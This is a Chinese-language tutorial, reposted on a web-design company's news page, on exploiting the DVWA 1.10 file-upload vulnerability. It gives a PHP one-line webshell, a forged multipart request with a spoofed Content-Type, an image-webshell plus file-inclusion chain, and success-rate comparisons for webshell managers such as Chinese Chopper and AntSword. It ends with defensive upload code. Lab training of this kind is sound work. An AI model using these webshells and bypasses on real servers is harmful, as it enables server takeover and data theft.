尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

DVWA 1.10 文件上传漏洞实战:3种绕过手法与蚁剑/菜刀连接成功率对比

DVWA 1.10 文件上传漏洞实战:3种绕过手法与蚁剑/菜刀连接成功率对比
📅 发布时间:2026/7/6 12:04:16

DVWA 1.10 文件上传漏洞深度实战:绕过手法与工具兼容性全面解析

文件上传漏洞的本质与危害

文件上传功能是现代Web应用的基础组件之一,但当开发者未对上传文件进行严格校验时,攻击者可能上传恶意脚本文件(如PHP、ASP等),从而获取服务器控制权限。这种漏洞的危害性通常极高,可能导致:

  • 服务器完全沦陷
  • 敏感数据泄露
  • 作为跳板攻击内网其他系统
  • 被植入挖矿程序或勒索软件

DVWA(Damn Vulnerable Web Application)作为著名的漏洞演练平台,其文件上传模块设置了从低到高四个安全级别,是学习文件上传漏洞的理想环境。

1. 环境准备与基础配置

1.1 DVWA环境搭建

推荐使用Docker快速部署DVWA 1.10环境:

docker pull vulnerables/web-dvwa docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa

访问http://localhost后,需完成以下初始化步骤:

  1. 点击"Create/Reset Database"按钮
  2. 使用默认账号admin/password登录
  3. 在"DVWA Security"页面将安全级别设为"Low"

1.2 必备工具安装

Burp Suite Community:

  • 用于拦截和修改HTTP请求
  • 官网提供各平台安装包

Webshell管理工具对比:

工具名称最新版本支持平台主要特点PHP 5.x兼容性PHP 7.x兼容性
中国菜刀2016Windows功能简单直接优秀差
蚁剑2.1.9跨平台插件丰富,支持编码器良好优秀
冰蝎3.0Java跨平台流量加密,绕过WAF能力强良好优秀

提示:测试时建议在虚拟机环境中运行这些工具,部分安全软件会将其识别为威胁

2. Low级别漏洞分析与绕过

2.1 源码审计

Low级别的文件上传处理代码如下:

<?php if( isset( $_POST[ 'Upload' ] ) ) { $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { echo '<pre>上传失败</pre>'; } else { echo "<pre>{$target_path} 上传成功!</pre>"; } } ?>

关键问题:

  • 未检查文件类型
  • 未验证文件内容
  • 直接使用原始文件名保存

2.2 基础攻击步骤

  1. 准备PHP一句话木马:

    <?php system($_GET['cmd']); ?>

    保存为shell.php

  2. 在DVWA文件上传页面直接上传该文件

  3. 访问上传后的文件路径,附加命令参数:

    http://localhost/hackable/uploads/shell.php?cmd=whoami

2.3 工具连接成功率实测

使用不同工具连接Low级别上传的Webshell:

工具连接方式PHP 5.6成功率PHP 7.4成功率备注
中国菜刀直接连接.php文件100%30%PHP 7下常出现连接中断
蚁剑直接连接.php文件100%100%默认编码器即可
手动curlGET请求带参数100%100%最原始但可靠的方式

3. Medium级别防护突破

3.1 安全机制分析

Medium级别新增了以下防护:

$uploaded_type = $_FILES['uploaded']['type']; $uploaded_size = $_FILES['uploaded']['size']; if( ($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000) ) { // 允许上传 }

关键限制:

  • 只接受image/jpeg和image/png类型
  • 文件大小需小于100KB

3.2 Content-Type绕过技术

操作步骤:

  1. 使用Burp Suite拦截文件上传请求
  2. 修改Content-Type为image/jpeg
  3. 保持文件内容为PHP代码

具体操作:

POST /dvwa/vulnerabilities/upload/ HTTP/1.1 Host: localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; name="uploaded"; filename="shell.php" Content-Type: image/jpeg [← 关键修改] <?php system($_GET['cmd']); ?> ------WebKitFormBoundaryABC123--

3.3 双写后缀绕过技术

当服务器仅检查文件扩展名时,可尝试:

  1. 将文件命名为shell.php.jpg
  2. 某些不严谨的校验逻辑可能只检查".jpg"而忽略前面部分
  3. 服务器可能按最后的后缀执行文件

4. High级别高级绕过手法

4.1 安全机制深度分析

High级别采用了更严格的防护:

$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1); $uploaded_tmp = $_FILES['uploaded']['tmp_name']; if( (strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png") && ($uploaded_size < 100000) && getimagesize($uploaded_tmp) ) { // 允许上传 }

新增防护:

  • 检查文件扩展名
  • 使用getimagesize()验证确实是图片文件

4.2 图片马结合文件包含漏洞

当无法直接上传可执行脚本时,可采用组合攻击:

  1. 制作图片马:

    echo '<?php system($_GET["cmd"]); ?>' >> legit.jpg

    生成同时包含图片数据和PHP代码的文件

  2. 上传图片马:

    • 通过High级别的上传校验
    • 文件保存为legit.jpg
  3. 利用文件包含漏洞执行:

    http://localhost/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/hackable/uploads/legit.jpg&cmd=whoami

4.3 PHP版本对攻击的影响

不同PHP版本对攻击技术的影响:

绕过技术PHP 5.6可行性PHP 7.4可行性原因分析
%00截断可行不可行PHP 5.3.4后修复此漏洞
图片马+文件包含可行可行依赖文件包含功能,与版本无关
.htaccess覆盖可行需配置允许依赖AllowOverride设置

5. 防御方案与最佳实践

5.1 安全防护措施对比

防护措施防护效果实施难度对业务影响
文件扩展名白名单★★★★★低
MIME类型检查★★★★低
文件内容签名验证★★★★★★★中
重命名上传文件★★★★★★低
存储在非Web可访问目录★★★★★★★中
文件内容二次渲染★★★★★★★★★高

5.2 PHP安全上传代码示例

$allowed_ext = ['jpg', 'png', 'gif']; $max_size = 1024 * 1024; // 1MB $upload_dir = '/var/www/uploads/'; $ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION)); if(!in_array($ext, $allowed_ext)) { die('非法文件类型'); } if($_FILES['file']['size'] > $max_size) { die('文件过大'); } $file_content = file_get_contents($_FILES['file']['tmp_name']); if(strpos($file_content, '<?php') !== false) { die('检测到可疑内容'); } $new_filename = md5(uniqid().mt_rand()).'.'.$ext; if(move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir.$new_filename)) { echo '上传成功'; } else { echo '上传失败'; }

6. 工具连接成功率深度分析

6.1 测试环境配置

  • PHP 5.6.40:传统环境
  • PHP 7.4.3:现代环境
  • Web服务器:Apache 2.4
  • 测试用例:每种绕过手法上传的Webshell各10次

6.2 连接成功率数据

绕过手法工具PHP 5.6成功率PHP 7.4成功率平均响应时间(ms)
直接上传.php中国菜刀100%25%120
直接上传.php蚁剑100%100%180
Content-Type修改中国菜刀90%20%150
Content-Type修改蚁剑100%100%200
图片马+文件包含中国菜刀80%10%300
图片马+文件包含蚁剑95%85%350

6.3 工具选择建议

根据实际测试经验:

  1. PHP 5.x环境:

    • 中国菜刀连接速度快,功能直接
    • 蚁剑功能更全面但稍显复杂
  2. PHP 7.x环境:

    • 蚁剑是唯一可靠选择
    • 需使用base64等编码器提高稳定性
    • 避免使用assert()函数,改用eval()
  3. 复杂绕过场景:

    • 蚁剑的编码器功能可适应各种过滤场景
    • 冰蝎适合需要流量加密的情况

相关新闻

  • CPU核心手动调度优化:提升性能与能效的实战指南
  • 网络压力测试实战指南:从工具选型到性能瓶颈定位
  • 直流有刷电机驱动方案:TC78H653FTG与PIC18F4550实战解析

最新新闻

  • 消息列表虚拟滚动_message-list
  • 如何快速搭建企业级后台管理系统:Layui-Admin完整实战指南
  • QRazyBox:让破损二维码重获新生的专业修复工具
  • 聊天智能体开发基础
  • 基于Metasploit的内网渗透实战:从外网突破到域控攻陷
  • MCP基础版本

日新闻

  • AI智能体安全防护框架AgentGuard:从原理到实战部署指南
  • KMX63与PIC18F26K40硬件组合及低功耗设计实践
  • 基于YOLO13改进的门体检测模型:C3k2模块与PoolingFormer技术解析

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号